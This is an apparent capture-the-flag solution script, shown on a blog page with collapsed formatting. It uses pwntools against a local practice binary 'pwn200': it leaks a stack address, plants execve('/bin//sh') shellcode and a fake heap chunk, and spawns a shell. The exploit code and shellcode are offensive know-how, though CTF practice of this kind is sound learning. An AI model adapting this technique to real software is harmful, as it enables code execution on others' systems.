1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| from pwn import* from LibcSearcher import *
p=process("./pwn200")
context.log_level="debug" payload='a'*0x30 p.sendafter('u?',payload) p.recvuntil('a'*0x30) rbp=u64(p.recv(6).ljust(8,'\x00')) print(hex(rbp))
shellcode="\x00\x31\xf6\x48\xbb\x2f\x62\x69\x6e" shellcode+= "\x2f\x2f\x73\x68\x56\x53\x54\x5f" shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
payload=(shellcode+2*p64(0)+p64(0X41)).ljust(0x38,'\x00') payload+=p64(rbp-0x90)
p.sendlineafter('id ~~?','31')
print(hex(rbp-0x90))
p.sendlineafter('money~',payload)
p.sendlineafter('choice : ','2')
gdb.attach(p) sleep(1) p.sendlineafter('choice : ','1')
p.sendlineafter('long?','48')
payload=3*p64(0)+p64(rbp-0xc0+1)
p.sendlineafter('money : ',payload)
p.sendlineafter('choice : ','3')
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~